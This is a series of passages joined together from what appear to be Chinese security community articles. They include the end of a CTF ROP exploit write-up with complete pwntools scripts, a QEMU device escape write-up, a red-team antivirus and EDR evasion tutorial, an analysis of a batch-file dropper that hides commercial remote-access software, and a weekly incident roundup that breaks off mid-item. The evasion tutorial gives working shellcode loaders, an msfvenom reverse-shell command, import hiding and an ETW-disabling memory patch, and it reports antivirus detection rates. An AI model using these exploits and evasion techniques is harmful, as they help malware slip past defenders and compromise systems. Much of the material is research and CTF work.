整个程序逻辑是这样的，main函数中，用户可以输入1024个字节，并通过echo函数将输入复制到自身栈空间，但该栈空间很小，使得栈溢出成为可能。由于复制过程中，以“x00”作为字符串终止符，故如果我们的payload中存在这个字符，则不会复制成功；但实际情况是，因为要用到上面提到的通用gadget来为write函数传参，故肯定会在payload中包含“x00”字符。
这个题目设置了这个障碍，也为这个障碍的绕过提供了其他条件。即由于echo函数的栈空间很小，与main函数栈中的输入字符串之间只间隔32字节，故我们可以利用这一点，只复制过去24字节数据加上一个包含连续4个pop指令的gadget地址，并借助这个gadget跳过原字符串的前32字节数据，即可进入我们正常的通用gadget调用过程，具体脚本如下。
from pwn import *
import binascii
p = process("./welpwn")
elf = ELF("welpwn")
readplt = elf.symbols["read"]
readgot = elf.got["read"]
writeplt = elf.symbols["write"]
writegot = elf.got["write"]
startAddress = 0x400630
popr12r13r14r15 = 0x40089c
pop6address = 0x40089a
movcalladdress = 0x400880
def leak(address):
print p.recv(1024)
payload = "A" * 24
payload += p64(popr12r13r14r15)
payload += p64(pop6address) + p64(0) + p64(1) + p64(writegot) + p64(8) + p64(address) + p64(1)
payload += p64(movcalladdress)
payload += "A" * 56
payload += p64(startAddress)
payload = payload.ljust(1024, "C")
p.send(payload)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
dynelf = DynELF(leak, elf=ELF("./welpwn"))
systemAddress = dynelf.lookup("__libc_system", "libc")
print hex(systemAddress)
bssAddress = 0x601070
poprdi = 0x4008a3
print p.recv(1024)
payload = "A" * 24
payload += p64(popr12r13r14r15)
payload += p64(pop6address) + p64(0) + p64(1) + p64(readgot) + p64(8) + p64(bssAddress) + p64(0)
payload += p64(movcalladdress)
payload += "A" * 56
payload += p64(poprdi)
payload += p64(bssAddress)
payload += p64(systemAddress)
payload = payload.ljust(1024, "C")
p.send(payload)
p.send("/bin/shx00")
p.interactive()
由于该题目程序中也包含puts函数，故我们也可以用puts函数来实现leak，代码如下。
def leak(address):
count = 0
data = ''
print p.recv(1024)
payload = "A" * 24
payload += p64(popr12r13r14r15)
payload += p64(poprdi) + p64(address)
payload += p64(putsplt)
payload += p64(startAddress)
payload = payload.ljust(1020, "B")
p.send(payload)
#由于echo函数最后会输出复制过去的字符串，而该字符串是popr12r13r14r15，故我们可以将该gadget的地址作为判断输出结束的依据
print p.recvuntil("x9cx08x40")
up = ""
while True:
c = p.recv(1)
count += 1
if up == 'n' and c == "W": #下一轮输出的首字母就是“Welcome”中的“W”
data = data[:-1]
data += "x00"
break
else:
data += c
up = c
data = data[:4]
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
**参考文章**
****
[Pwntools中的DynELF模块的使用](http://klaus.link/2016/Python-Pwntools-DynELF%E6%A8%A1%E5%9D%97%E7%9A%84%E4%BD%BF%E7%94%A8/)
[Finding Function's Load
Address](http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html)
[ __libc_csu_init函数的通用gadget](http://www.cnblogs.com/Ox9A82/p/5487725.html)
**附件**
题目打包下载：<http://pan.baidu.com/s/1qXA9JXi> | 社区文章 |
# QEMU-Pwn-XNUCA-2019-vexx
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 描述
官方给了下载链接，然后一段描述给了用户名和密码：
user: root
pass: goodluck
Try to escape the QEMU world!
压缩包下载下来，看目录：
$ ll
-rw-r--r-- 1 raycp raycp 4.2M Aug 6 01:42 bzImage
-rwxr-xr-x 1 raycp raycp 228 Aug 23 19:04 launch.sh
drwxr-xr-x 6 raycp raycp 4.0K Aug 6 01:42 pc-bios
-rwxr-xr-x 1 raycp raycp 58M Aug 6 01:42 qemu-system-x86_64
-rw-r--r-- 1 raycp raycp 60M Aug 6 01:42 rootfs.ext2
`launch.sh`内容：
#!/bin/sh
./qemu-system-x86_64 -hda rootfs.ext2 -kernel bzImage -m 64M -append "console=ttyS0 root=/dev/sda oops=panic panic=1" -L ./pc-bios -netdev user,id=mynet0 -device rtl8139,netdev=mynet0 -nographic -device vexx -snapshot
根据参数`-device vexx`，多半是要去找`vexx`里面的漏洞。
## 分析
`sudo ./launch.sh`把虚拟机跑起来，然后将`qemu-system-x86_64`拖进IDA里面。
在函数里面搜索`vexx`，查看相关函数：
查看`vexx_class_init`函数，知道了`vendor_id`是`0x11E91234`，`realize`函数是`pci_vexx_realize`。
# lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:11e9
...
# cat /sys/devices/pci0000:00/0000:00:04.0/resource
0x00000000febd6000 0x00000000febd6fff 0x0000000000040200
0x00000000febd0000 0x00000000febd3fff 0x0000000000140204
...
# cat /proc/iomem
...
febd0000-febd3fff : 0000:00:04.0
...
febd6000-febd6fff : 0000:00:04.0
...
通过命令知道了该设备有两个MMIO地址空间，一个地址为`0xfebd0000`，大小为`0x4000`；另一个则地址为`0xfebd6000`，大小为`0x1000`。
去看`pci_vexx_realize`函数：
void __fastcall pci_vexx_realize(VexxState *pdev, Error_0 **errp)
{
...
if ( !msi_init(&pdev->pdev, 0, 1u, 1, 0, errp) )
{
timer_init_full(&v2->vexxdma.dma_timer, 0LL, QEMU_CLOCK_VIRTUAL, 1000000, 0, (QEMUTimerCB *)vexx_dma_timer, v2); //注册 vexx_dma_timer
...
memory_region_init_io(&v2->mmio, &v2->pdev.qdev.parent_obj, &vexx_mmio_ops, v2, "vexx-mmio", 0x1000uLL); //注册大小为0x1000的mmio
memory_region_init_io(&v2->cmb, &v2->pdev.qdev.parent_obj, &vexx_cmb_ops, v2, "vexx-cmb", 0x4000uLL); //注册大小为0x4000的mmio
portio_list_init(&v2->port_list, &v2->pdev.qdev.parent_obj, vexx_port_list, v2, "vexx");
v3 = pci_address_space_io(&pdev->pdev);
portio_list_add(&v2->port_list, v3, 0x230u); //添加pmio，端口为0x230，信息在vexx_port_list结构体中
pci_register_bar(&pdev->pdev, 0, 0, &v2->mmio);
pci_register_bar(&pdev->pdev, 1, 4u, &v2->cmb);
}
可以看到相应的存在两个mmio空间一个pmio空间，接下来具体去分析几个io函数。
先看`vexx_mmio_ops`中的`vexx_mmio_read`以及`vexx_mmio_write`。这个结构对应的mmio地址是`0xfebd6000`，空间大小为`0x1000`。这两个函数没啥作用，基本上就是对dma进行的操作。需要知道的是在`vexx_mmio_write`里面`addr`为0x98可以触发`dma_timer`。漏洞不在这里，想对dma有进一步了解，可以去看之前写的htib2017的babyqemu的[writeup](https://ray-cp.github.io/archivers/qemu-pwn-hitb-gesc-2017-babyqemu-writeup)。
然后是`vexx_cmb_ops`中的`vexx_cmb_read`以及`vexx_cmb_write`。`vexx_cmb_read`关键代码如下：
uint64_t __fastcall vexx_cmb_read(VexxState *opaque, hwaddr addr, unsigned int size)
{
uint32_t memorymode; // eax
uint64_t result; // rax
memorymode = opaque->memorymode;
if ( memorymode & 1 )
{
result = 0xFFLL;
if ( addr > 0x100 )
return result;
LODWORD(addr) = opaque->req.offset + addr;
goto LABEL_4;
...
LABEL_4:
result = *(_QWORD *)&opaque->req.req_buf[(unsigned int)addr];
}
return result;
`req.req_buf`的定义为如下：
00000000 VexxRequest struc ; (sizeof=0x108, align=0x4, copyof_4574)
00000000 ; XREF: VexxState/r
00000000 state dd ?
00000004 offset dd ?
00000008 req_buf db 256 dup(?)
00000108 VexxRequest ends
可以看到当`opaque->memorymode`为1的时候，如果我们可以控制`req.offset`就可以实现对`req.req_buf`的越界读。
再看`vexx_cmb_write`函数关键代码：
void __fastcall vexx_cmb_write(VexxState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t memorymode; // eax
hwaddr v5; // rax
memorymode = opaque->memorymode;
if ( memorymode & 1 )
{
if ( addr > 0x100 )
return;
LODWORD(addr) = opaque->req.offset + addr;
goto LABEL_4;
}
...
LABEL_4:
*(_QWORD *)&opaque->req.req_buf[(unsigned int)addr] = val;
}
同理我们可以控制`req.offset`就可以实现对`req.req_buf`的越界写。
如果可以控制`req.offset`的话，我们可以越界读写什么：
00000000 VexxState struc ; (sizeof=0x1CF0, align=0x10, copyof_4575)
00000000 pdev PCIDevice_0 ?
000008E0 mmio MemoryRegion_0 ?
000009D0 cmb MemoryRegion_0 ?
00000AC0 port_list PortioList_0 ?
00000B00 thread QemuThread_0 ?
00000B08 thr_mutex QemuMutex_0 ?
00000B38 thr_cond QemuCond_0 ?
00000B70 stopping db ?
00000B71 db ? ; undefined
00000B72 db ? ; undefined
00000B73 db ? ; undefined
00000B74 addr4 dd ?
00000B78 fact dd ?
00000B7C status dd ?
00000B80 irq_status dd ?
00000B84 memorymode dd ?
00000B88 req VexxRequest ? //req结构体
00000C90 vexxdma VexxDma ? // Vexxdma结构体
00001CF0 VexxState ends
00000000 ; --------------------------------------------------------------------------- 00000000
00000000 VexxDma struc ; (sizeof=0x1060, align=0x8, copyof_4573)
00000000 ; XREF: VexxState/r
00000000 state dd ?
00000004 db ? ; undefined
00000005 db ? ; undefined
00000006 db ? ; undefined
00000007 db ? ; undefined
00000008 dma dma_state ?
00000028 dma_timer QEMUTimer_0 ?
00000058 dma_buf db 4096 dup(?)
00001058 dma_mask dq ?
00001060 VexxDma ends
00001060
00000000 ; --------------------------------------------------------------------------- 00000000
00000000 dma_state struc ; (sizeof=0x20, align=0x8, copyof_4571)
00000000 ; XREF: VexxDma/r
00000000 src dq ?
00000008 dst dq ?
00000010 cnt dq ?
00000018 cmd dq ?
00000020 dma_state ends
00000020
00000000 ; --------------------------------------------------------------------------- 00000000
00000000 QEMUTimer_0 struc ; (sizeof=0x30, align=0x8, copyof_1099)
00000000 ; XREF: VexxDma/r
00000000 expire_time dq ?
00000008 timer_list dq ? ; offset
00000010 cb dq ? ; offset
00000018 opaque dq ? ; offset
00000020 next dq ? ; offset
00000028 attributes dd ?
0000002C scale dd ?
00000030 QEMUTimer_0 ends
可以看到`req`结构体后面紧跟的是`VexxDma`结构体，看到该结构体中存在`QEMUTimer`结构体，因为`qwb 2018
final`里面也出现过痛过覆盖`QEMUTimer`来实现逃逸的题，所以瞬间看到了希望。
接下来要搞定的就是看下`req.offset`是否可控以及能否将`opaque->memorymode`设置为1。
最后还剩下`vexx_port_list`结构体中的`vexx_ioport_read`和`vexx_ioport_write`没有分析，相关线索应该也会在它们中。
`vexx_ioport_read`函数会返回`req.offset`等参数。关键的是`vexx_ioport_write`函数：
void __fastcall vexx_ioport_write(VexxState *opaque, uint32_t addr, uint32_t val)
{
if ( addr - 0x230 <= 0x20 )
{
switch ( addr )
{
case 0x240u:
opaque->req.offset = val; //设置req.offset
break;
case 0x250u:
opaque->req.state = val;
break;
case 0x230u:
opaque->memorymode = val; //设置opaque->memorymode
break;
}
}
}
可以看到该函数正好满足了我们的需求，当访问的端口是`0x240`的时候可以设置`req.offset`；当端口`addr`是`0x230`的时候可以设置`opaque->memorymode`。
至此漏洞就比较明显了，利用`vexx_ioport_write`设置`req.offset`以及`opaque->memorymode`。然后利用`vexx_cmb_read`和`vexx_cmb_write`对`req.req_buf`进行越界读写，通过`QEMUTimer`来实现泄漏与利用。
## 利用
整个利用包含三个部分。
第一部分是为了能够触发漏洞代码，需要设置`opaque->memorymode`以及`req.offset`，这一步可以通过PMIO调用`vexx_ioport_write`函数实现。
第二部分是泄露。由于程序开了PIE，所以需要泄露地址。可以通过越界读取`req.req_buf`后面`QEMUTimer`结构体中的`opaque`指针来泄露堆地址（`opaque`指针刚好也是`VexxState`对应的那个指针），可以通过读写`QEMUTimer`结构体中的`cb`指针来泄露程序基址（`cb`指针对应的是`vexx_dma_timer`函数的地址），指针如下图所示。
$ checksec qemu-system-x86_64
[*] '/home/raycp/work/vm_escape/release/qemu-system-x86_64'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
第三部分就是控制程序执行流。在`vexx_mmio_write`触发timer的代码流程中，存在一个函数调用链：`timer_mod->timer_mod_ns->timerlist_notify->notify_cb(notify_opaque)`，可以控制执行流程。即将timer结构体中的`cb`覆盖为`system
plt`的地址；将`cat
./flag`写入到`req_buf`中，利用堆偏移计算出`req_buf`的地址，再将该地址覆盖到timer结构体的`opaque`处。在最后控制执行流的时候实现`system("cat
./flag")`的调用。
最终执行前结构体被覆盖内容如下：
真正在写exp的时候有个坑点：
1. 不知道为啥在访问PMIO的时候，不能用`outl`指令，只能用`outw`和`outb`指令，而且用`outw`指令也会变成一个字节一个字节写，可能是和这个设备有关系，对pci设备还是不太了解，需要进一步学习。
## 小结
还是要有系统的概念会更好一些。
相关文件和脚本[链接](https://github.com/ray-cp/vm-escape/blob/master/qemu-escape/xnuca-2019-vxee/vexx.zip) | 社区文章 |
# 红队队开发基础-基础免杀(一)
* * *
## 引言
* * *
最近在某某糖上看到有人翻译 [A blueprint for evading industry leading endpoint protection In
2022](https://vanmieghem.io/blueprint-for-evading-edr-in-2022/)，翻译原文链接：<http://tttang.com/archive/1573/>
原文只简单讲了一下大致的思路，具体的复现并没有。本文就是对文章提到技术点进行简单复现。
## shellcode加密
* * *
主要参考 [ShellcodeWrapper](https://github.com/Arno0x/ShellcodeWrapper)的代码
### 内存执行shellcode
#### 函数指针的概念
定义：
函数返回值类型 (* 指针变量名) (函数参数列表);
如：
int(*p)(int, int);
如何使用:
#include <iostream>
#include <windows.h>
void print() {
std::cout << "123";
}
int main(){
void(*p)();
p = print;
p();}
通过函数指针的方式可以调用当前程序地址空间里的函数，前提是需要知道虚拟内存种机器码的地址。一般和VirtualAlloc相结合
unsigned char shellcode[] = "\x00";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
#### 虚拟内存
我们通过VirtualAlloc函数分配了一块虚拟内存,返回了一个指针变量exec，指向这块虚拟内存的首地址。 之后将数组拷贝到这块内存中，在visual
studio里选择debug->window->memeory 可以查看当当前程序的内存情况，将调试器里exec的地址填入：
通过调试的插件我们可以看到此时shellcode已经被写入了内存,之后通过函数指针将void*强制转换成函数指针并进行调用。使用不经过混淆的的c
shellcode，编译windows definder都会报毒，直接无法编译：
关闭definder,可以进行成功上线。
使用工具进行xor混淆，生成shellcode装载代码：
这种对shellcode的加密实际就是对字符串进行加密，主要是静态的混淆，这里刚开始没注意看官方的readme，官方的例子使用msf：
root@kali:~# msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f raw > shellcode.raw
生成的raw格式的，笔者开始使用cs直接生成了c代码，结果代码是对文件中每一个字节加密的。
重新生成raw格式代码,编译结果definder依旧报毒，注释了函数指针执行部分依旧。
说明不是函数指针执行部分代码报毒，单凭shellcode这种程度的混淆还是远远不够的不够的。
## 降低熵值
* * *
### 编译阶段
在visual studio中，程序编译阶段选择resource file - > add -> resource - > icon，增加图标。
### 修改二进制文件特征
对于没有源码的程序，也可以通过工具[resourcehacker](http://www.angusj.com/resourcehacker/)修改图标，达到修改其特征值的效果：
## 字符串变形
* * *
文章中提到了想法：
**一个更优雅的解决方案是设计并实现一种算法，将经过混淆处理（编码/加密）的shellcode变成英文单词（低熵）。这种方法简直就是一箭双雕。**
其实也是类似shellcode混淆的技术，因为笔者的c很一般，c执行的时候需要存储字节和单词的映射关系，在c语言中没有string类型和dict等数据结构，也不熟悉STL，写起来很僵硬，这里使用c#执行shellcode。
意外发现简单混淆shellcode+csc编译就已经能够过windows definder了。
直接使用vs编译还是会报毒:
c#执行shellcode的方式略有区别，这里没有使用函数指针，而是使用了windows api createThread：
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
顾名思义，在当前进程创建一个线程。主要是第三个参数提供一个指针。和VirtualAlloc+
Marshal.Copy结合使用。使用csc编译就可以bypass windows definder
使用py对字节进行随机单词替换：
from random_words import RandomWords
hex_temp=[0x9d]
hex_single = list(set(hex_temp))
words=[]
words_list=[]
payload="string p =\""
# generate dict list --- for singel
rw = RandomWords()
for h in hex_single:
success_add=False
while not success_add:
word = rw.random_word()
if word not in words:
words.append(word)
words_list.append({h:word})
success_add=True
# convert shellcode to string
for h in hex_temp:
for d in words_list:
for k in d:
if h == k:
payload=payload+d[k]+" "
print(payload.rstrip(" ")+"\";")
# generate c# table to compare
ret_string="string s =\""
ret_h="char[] raw = {"
for d in words_list:
for k in d:
ret_string=ret_string+d[k]+" "
ret_h=ret_h+"(char)%d,"%(int(k))
ret_h=ret_h.rstrip(",");
ret_string=ret_string.rstrip(" ");
ret_h=ret_h+"};";
ret_string=ret_string+"\";"
print(ret_string)
print(ret_h)
使用C#进行解密：
依旧报毒
的EtwpCreateEtwThread加载：
可以成功上线：
## 沙箱绕过
* * *
原文中提到可以延时shellcode的执行，原文作者采用的做法是取一个大素数并作为密钥的使用。笔者这里直接暴力使用sleep实现延时：
Thread.Sleep(1000*30);
对于云端沙箱，之前听别人简单说过，可以通过制造大文件、删除文件等方式阻止上传到云端。这里简单增加了一首MP3资源进可执行文件演示一下。
## 导入表混淆
* * *
本来想对c#的程序进行混淆，发现c#编译出来的程序识别不出导入表：
c和c++的却可以：
推测c#和java类似有jvm虚拟机这种技术存在，不是标准的exe。所以还是对开始的c程序做导入表混淆。
不做任何混淆时的导入表，显然有VirtualAlloc这样的敏感函数，通过函数指针的方式隐藏。前面介绍过函数指针，需要在内存中找到对应函数，在内存中找对应函数地址的API是GetProcAddress：
FARPROC GetProcAddress(
HMODULE hModule, // DLL模块句柄
LPCSTR lpProcName // 函数名
);
第一参数为dll模块句柄，通过GetModuleHandle函数获取：
GetModuleHandle((LPCSTR)sKernel32)
第二个参数为函数名，这里指定为VirtualAlloc。
typedef VOID *(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
pVirtualAlloc fnVirtualProtect;
unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','A','l','l','o','c', 0x0 };
unsigned char sKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };
fnVirtualProtect = (pVirtualAlloc)GetProcAddress(GetModuleHandle((LPCSTR)sKernel32), (LPCSTR)sVirtualProtect);
void* exec = fnVirtualProtect(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
这里使用了函数指针的另一种定义方式：
typedef VOID *(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
编译执行，可以看到导入表中已经看不到VirtualAlloc函数了
## 禁用Windows事件跟踪 (ETW)
* * *
ETW指Windows事件追踪，是很多安全产品使用的windows功能。其部分功能位于ntdll.dll中，我们可以修改内存中的etw相关函数达到禁止日志输出的效果，最常见的方法是修改EtwEventWrite函数,详情可以参考:[ETW的攻与防](http://tttang.com/archive/1612/)
& [Detecting process injection with
ETW](https://blog.redbluepurple.io/windows-security-research/kernel-tracing-injection-detection)
主要用到几个api：
* NtProtectVirtualMemory
NT开头的函数是内核函数，用户态函数为VirtualProtect ：
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
该函数在调用进程的虚拟地址空间中更改对已提交页面区域的保护，第三个参数比较关键，参考[memory-protection-constants](https://docs.microsoft.com/en-us/windows/win32/Memory/memory-protection-constants)。第四个参数返回内存原始属性的保存地址，修改完毕后要恢复。
对于这种未公开的api内核函数调用，需要手动去获取其地址，首先定义函数指针：
typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
tNtVirtual oNtVirtual;
进行调用:
FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll),"NtProtectVirtualMemory");
oNtVirtual = (tNtVirtual)farProc;
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_NOACCESS, &oldprotect);
* FlushInstructionCache
该函数主要是对内存修改后刷新缓存
BOOL FlushInstructionCache(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[in] SIZE_T dwSize
);
参数一目了然，没什么好解释的。
我们首先找到EtwEventWrite函数在虚拟内内存中的地址：
HANDLE hCurrentProc = GetCurrentProcess();
unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);
将内存属性改成PAGE_READWRITE,这里size是我们需要修改内存的大小。
NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, PAGE_READWRITE, &oldprotect);
修改内存：
memcpy(pEventWrite, patch, size / sizeof(patch[0]));
恢复内存属性：
NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, oldprotect, &oldprotect);
完整的实现：
typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
tNtVirtual oNtVirtual;
void disableETW(void) {
// return 0
unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3 }; // xor rax, rax; ret
ULONG oldprotect = 0;
size_t size = sizeof(patch);
HANDLE hCurrentProc = GetCurrentProcess();
unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
unsigned char sNtdll[] = { 'n','t','d','l','l','.','d','l','l',0x0};
void* pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), (LPCSTR)sEtwEventWrite);
FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), "NtProtectVirtualMemory");
oNtVirtual = (tNtVirtual)farProc;
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);
memcpy(pEventWrite, patch, size / sizeof(patch[0]));
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);
FlushInstructionCache(hCurrentProc, pEventWrite, size);
}
查看内存
修改成功
## 总结
* * *
本文总结了5种常见的免杀技术，主要是静态的免杀。
其中c#搭配静态字符串加密，异或加密，沙箱绕过，EtwpCreateEtwThread上线的技术，vt检测结果为13/68
因为还是基于开源的恶意工具改的，其中依旧有一些其他的静态特征影响，单独出来实现效果应该会更好一些。
c++的程序使用disableETW，shellcode加密，隐藏导入表的免杀方式，vt检测结果为4/68，比想象的好很多。
c++的程序更换shellcode的加密方式过definder应该没有问题。静态的免杀还是比较容易的。
## 源码
* * *
本文实现的例子相关代码均进行了开源：[EDR-Bypass-demo](https://github.com/7BitsTeam/EDR-Bypass-demo) | 社区文章 |
# 另类远控：木马借道商业级远控软件的隐藏运行实现
|
##### 译文声明
本文是翻译文章，文章来源：360QVM@360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
提起远控木马,灰鸽子、Gh0st等等都是臭名昭著。与这些木马相比,商业级远控软件的监控能力毫不逊色,只不过这类软件有着合法身份,并且在安装和运行时都会有明显提示。
但如果商业级远控软件能够被黑客玩坏,让它实现隐藏运行,那么它就会变成威力巨大的远控木马,因为这类商业级软件会被大多数安全厂商识别为合法程序。
360QVM团队就数次发现商业级远控软件遭恶意利用的情况,在此进行详细分析。
**一、** **样本概况**
样本是个常见的使用色情诱惑类名称的压缩包“我们小姐的相片”,在解压后得到一个批处理文件和一个隐藏的文件夹。依靠色情等擦边球传播,这是木马病毒惯用的手段。
隐藏文件夹内文件如下:
批处理文件经过混淆加密,用以对抗静态检测:
**二、批处理流程**
对批处理文件的解密结果:
**其中主要命令为:**
**Part 1** **:**
获得当前日期时间并保存到ok.txt,形如201510151742;
带参数运行ge.log,即进入命令行版的rar;
解压文件user.txt到文件夹user,并删除源文件。
**Part 2** **:**
之后则是创建文件夹c:user0和c:78g并复制解压的文件。
user0目录:
78g目录:
此时另外两个文件开始运行:
ok.txt是之前命令运行生成的包含当前日期时间的文件,tu1.txt是user目录中原有文件。
再运行pb.bat,此时该目录下仅剩一个名为照片的快捷方式。
**Part 3** **:**
pb.bat中内容同样是混淆加密的:
解密后命令:
ok.txt是之前保存有当前日期时间的文本,此处通过查找字符来判断样本激活时间是否在指定时间范围内。
添加注册表。此处添加的内容将在下面介绍。
打开一张图片,此时的“照片”,方才成为真正的图片。
至此,批处理的命令已经结束,全程不存在病毒。当用户想再次打开“照片”时,则会运行“照片.lnk”指向的程序。
**三、利用小众软件隐藏远控程序**
照片所指,是一款名为装模作样的窗口隐藏工具,usersys.ini是该软件的配置文件。
该软件也并不是病毒,其配置文件具备“指定启动时自动隐藏并运行指定程序”的功能。
样本预设的配置,使svchnst.exe运行时便会启动C:user0svchest.exe并隐藏这两个程序的界面。
而svchest.exe实为一款名为“网灵”的商业远控受控端。对于具有合法身份的商业远控,很多杀毒软件原则上也是不报毒的。
该程序运行时原本有明确提示;但由于svchnst的隐藏运行,该远控受控端的图标和提示便被隐藏。
因为网灵受控端安装包在安装时需要填入网灵服务id和密码,并将这些信息保存到注册表hklmsoftwareanypc01中:
这也可以解释上述批处理命令中,需要添加注册表的原因。
**四、总结**
病毒作者事先在一台电脑上用商业远控配置好受控端,使用批处理来添加同等配置信息;再借助一款窗口隐藏工具,隐藏商业远控端开启时的提示。这样,受害者在不知不觉间,就遭到了攻击者的毒手;而攻击者也无需编写恶意程序,通过合法商业远控的隐藏实现就控制了受害者的电脑。
在此我们提醒广大网友:木马并不只是exe等可执行程序,类似.bat这样的脚本文件同样很危险。如果遇到不熟悉的文件格式或是陌生人发来的可疑文件,切莫轻易点击运行。
**
**
**下面贴出 360杀毒微信公众号的二维码，这是技术型的公众号哟！** | 社区文章 |
# 安全事件周报（11.02-11.08）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 事件导览
本周收录安全事件 `39` 项，话题集中在 `网络攻击` 、 `勒索软件` 方面，涉及的组织有：`Google` 、 `Mattel` 、 `Capcom`
、 `Marriott` 等。社工策略花样百出，勒索软件不停更新迭代。对此，360CERT建议使用 `360安全卫士` 进行病毒检测、使用
`360安全分析响应平台` 进行威胁流量检测，使用 `360城市级网络安全监测服务QUAKE` 进行资产测绘，做好资产自查以及预防工作，以免遭受黑客攻击。
**恶意程序** | 等级
---|---
日本电子游戏公司Capcom遭遇勒索袭击 | ★★★★★
Wroba移动银行木马程序针对美国智能手机 | ★★★★
新的Kimsuky模块使朝鲜间谍软件更加强大 | ★★★★
玩具制造商美泰遭勒索软件攻击 | ★★★★
虚假的COVID-19测试结果传播King Engine勒索软件 | ★★★★
以色列公司被新的Pay2Key勒索软件盯上 | ★★★★
巴西法院系统在一次大规模勒索软件攻击后关闭 | ★★★★
僵尸网络Gitpaste-12通过GitHub和Pastebin传播 | ★★★★
Firestarter恶意软件滥用谷歌Firebase云消息平台 | ★★★
GEO集团遭遇勒索软件攻击 | ★★★
QBot特洛伊木马通过恶意选举附件攻击受害者 | ★★★
Sodinokibi/REvil勒索软件团伙通过网络钓鱼攻击英国房屋行业 | ★★★
**数据安全** |
万豪因客户数据泄露被英国监管机构罚款1840万英镑 | ★★★★★
暗网上有2000万bigbarket用户记录 | ★★★★★
废弃的“数据泄露索引”网站泄露23600个被入侵的数据库 | ★★★★
Luxottica数据泄露暴露了Lenscrafter和EyeMed的信息 | ★★★
**网络攻击** |
诈骗者滥用Google云端硬盘发送恶意链接 | ★★★★
黑客窃取了在线黄金交易商JM的信用卡数据 | ★★★★
勒索软件的打击将清空Isentia数百万美元 | ★★★★
黑客利用未修补的VoIP漏洞来危害商业账户 | ★★★★
美国联邦调查局：黑客窃取了美国政府机构和私人公司的源代码 | ★★★★
UNC1945在攻击中使用Oracle Solaris 0day漏洞 | ★★★
Office 365网络钓鱼会反转图像以逃避检测 | ★★★
美国攻破了一批伪装成新闻机构的伊斯兰革命卫队宣传网站 | ★★★
攻击者主动利用Rackspace托管电子邮件漏洞 | ★★★
有攻击者利用RMS和TeamViewer攻击工业企业 | ★★★
意大利著名公司坎帕里集团受到攻击 | ★★★
**其它事件** |
Oracle发布远程代码执行漏洞的紧急补丁 | ★★★★★
未修补的Windows 0day漏洞在野被用于沙盒逃逸 | ★★★★
Google修复了Chrome中的第二个0day漏洞 | ★★★★
Adobe警告Windows、MacOS用户Acrobat和Reader存在严重漏洞 | ★★★★
Maze勒索软件宣布关闭业务 | ★★★
新的防火墙绕过攻击允许黑客访问任何TCP/UDP服务 | ★★★
俄罗斯程序员因网络犯罪在美国被判8年监禁 | ★★★
恶意npm库因后门功能被删除 | ★★★
Win10功能升级后证书丢失?微软表示:我们正在努力修复 | ★★★
自动化供应商SaltStack修补漏洞 | ★★★
苹果修复了Google团队发现的三个0day漏洞 | ★★★
美国和巴西当局查获2400万美元的加密货币 | ★★
## 0x02 恶意程序
### 日本电子游戏公司Capcom遭遇勒索袭击
日期: 2020年11月04日
等级: 高
作者: Pierluigi Paganini
标签: Japanese, Capcom, Ragnar Locker, Ransomware, Data Leaked
日本游戏开发商 `Capcom`
承认遭遇勒索攻击。该公司已经开发了多个数百万销售的游戏专营权，包括街头斗士，ResidentEvil，DevilMayCry，DeadRising，SengokuBasara，Ghost’nGoblins，MonsterHunter等。该公司发布的关于网络问题的公告称，在2020年11月2日上午遭受了网络攻击，针对该事件，游戏开发商关闭了部分公司网络，以防止恶意软件传播。勒索软件团伙声称在运行了
